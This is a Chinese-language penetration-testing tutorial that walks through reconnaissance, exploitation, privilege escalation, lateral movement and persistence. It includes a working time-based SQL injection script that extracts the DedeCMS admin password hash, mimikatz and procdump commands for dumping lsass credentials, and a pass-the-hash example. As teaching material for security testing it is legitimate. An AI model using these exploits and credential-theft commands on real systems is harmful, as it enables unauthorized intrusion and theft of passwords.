完整的渗透实例--全面了解渗透技术
字数 1969 2025-08-09 18:44:09
完整的渗透测试实例与技术详解
信息收集阶段
网络探测技术
-
Netdiscover工具:用于探测局域网内存活主机
- 命令示例:
netdiscover -r 192.168.1.0/24 - 功能:通过ARP请求发现网络中的活动设备
- 命令示例:
-
Nmap扫描:
- 基本扫描:
nmap -sP 192.168.1.0/24(Ping扫描) - 端口扫描:
nmap -sV -O -p- 目标IP(全面扫描) - 高级选项:
-A(激进扫描)、-T4(快速扫描)
- 基本扫描:
-
子域名枚举:
- 使用工具:wfuzz、Sublist3r、Amass
- 示例命令:
wfuzz -c -w wordlist.txt -H "Host: FUZZ.example.com" http://example.com
信息收集资源
漏洞利用阶段
CMS漏洞利用(以织梦CMS为例)
- 版本识别:通过文件路径、HTTP头、错误信息等识别CMS版本
- 已知漏洞利用:
- 织梦CMS 20150618版本存在SQL注入漏洞
- 使用公开EXP获取管理员密码哈希
# 织梦CMS注入EXP示例
import urllib2
import time
def exploite(target):
password = ""
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
for i in range(1,21):
for p in payloads:
s1 = "%s" %(i)
s2 = "%s" %(ord(p))
s = target+"/member/mtypes.php?dopost=save&_FILES[mtypename][name]=.xxxx&_FILES[mtypename][type]=xxxxx&_FILES[mtypename][tmp_name][a'%20and%20`'`.``.mtypeid%20or%20if(ascii(substr((select%20pwd%20from%20dede_admin%20limit%201),"+s1+",1))%3d"+s2+",sleep(4),0)%20and%20mtypeid%3d1%23]=w&_FILES[mtypename][size]=.xxxx"
start_time = time.time()
try:
req = urllib2.Request(s)
req_data=opener.open(req,timeout=20)
if time.time() - start_time > 4.0:
password += p
except urllib2.URLError,e:
print e;
return password
漏洞资源库
权限提升技术
WebShell获取
-
常用工具:
- 中国蚁剑(AntSword)
- 中国菜刀(Caidao)
- Cobalt Strike
-
WebShell连接:
- 通过上传点上传WebShell
- 利用文件包含漏洞写入WebShell
- 通过数据库写入WebShell
系统提权方法
-
Windows提权:
- 使用JuicyPotato、PrintSpoofer等本地提权工具
- 利用系统服务配置不当
- 内核漏洞利用(CVE-2021-36934等)
-
Linux提权:
- SUID/GUID错误配置
- 内核漏洞利用(dirtycow等)
- 计划任务滥用
-
数据库提权:
- MySQL UDF提权
- MSSQL xp_cmdshell扩展存储过程
- Oracle Java权限提升
内网渗透技术
横向移动技术
-
凭证获取:
- 使用Procdump+mimikatz获取明文密码
procdump -accepteula -ma lsass.exe lsass.dmp mimikatz "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" -
Pass-the-Hash攻击:
- 使用psexec、wmiexec等工具进行哈希传递
- 示例:
psexec.py -hashes LMHASH:NTHASH user@target
-
域渗透技术:
- Kerberoasting攻击
- AS-REP Roasting攻击
- Golden Ticket攻击
代理与隧道技术
-
Socks代理:
- Socks4a代理设置
- Socks5代理配置
- 使用proxychains进行代理链配置
proxychains nmap -sT -Pn -n -p 80,443 10.0.0.1 -
内网穿透工具:
- Ngrok
- Frp
- Natapp
- SSH隧道:
ssh -D 1080 user@jumpserver
后渗透阶段
权限维持技术
-
持久化方法:
- Windows:注册表启动项、计划任务、服务创建
- Linux:crontab、.bashrc、ssh authorized_keys
- Web:后门文件、数据库触发器
-
隐蔽通信:
- DNS隧道
- ICMP隧道
- HTTP/HTTPS加密通信
数据收集与渗透
-
敏感信息收集:
- 配置文件扫描
- 数据库转储
- 浏览器保存的密码
-
网络拓扑探测:
- 路由信息查看:
route print或ip route - ARP缓存分析:
arp -a - 网络共享发现:
net view \\target
- 路由信息查看:
工具与资源推荐
必备工具列表
-
扫描工具:
- Nmap
- Masscan
- Nikto
-
漏洞利用框架:
- Metasploit Framework
- Cobalt Strike
- SQLMap
-
密码破解:
- Hashcat
- John the Ripper
- Hydra
学习资源
-
书籍推荐:
- 《社会工程学:安全体系中的人性漏洞》
- 《Python黑帽子:黑客与渗透测试编程之道》
- 《MySQL必知必会》
-
在线资源:
渗透测试流程总结
- 信息收集:全面收集目标信息,包括子域名、IP、端口、服务等
- 漏洞扫描:使用自动化工具和手动检查发现潜在漏洞
- 漏洞利用:针对发现的漏洞进行验证和利用
- 权限提升:从低权限提升到高权限,获取系统控制权
- 内网渗透:以已控制主机为跳板,探测和攻击内网其他系统
- 权限维持:建立持久化访问通道,防止被管理员发现和清除
- 痕迹清理:清除日志和操作痕迹(在授权测试中可选)
- 报告编写:详细记录测试过程和发现的问题,提出修复建议
通过这个完整的渗透实例,可以全面了解渗透测试的各个环节和技术要点,建议按照这个框架系统学习各项技术,逐步提升渗透测试能力。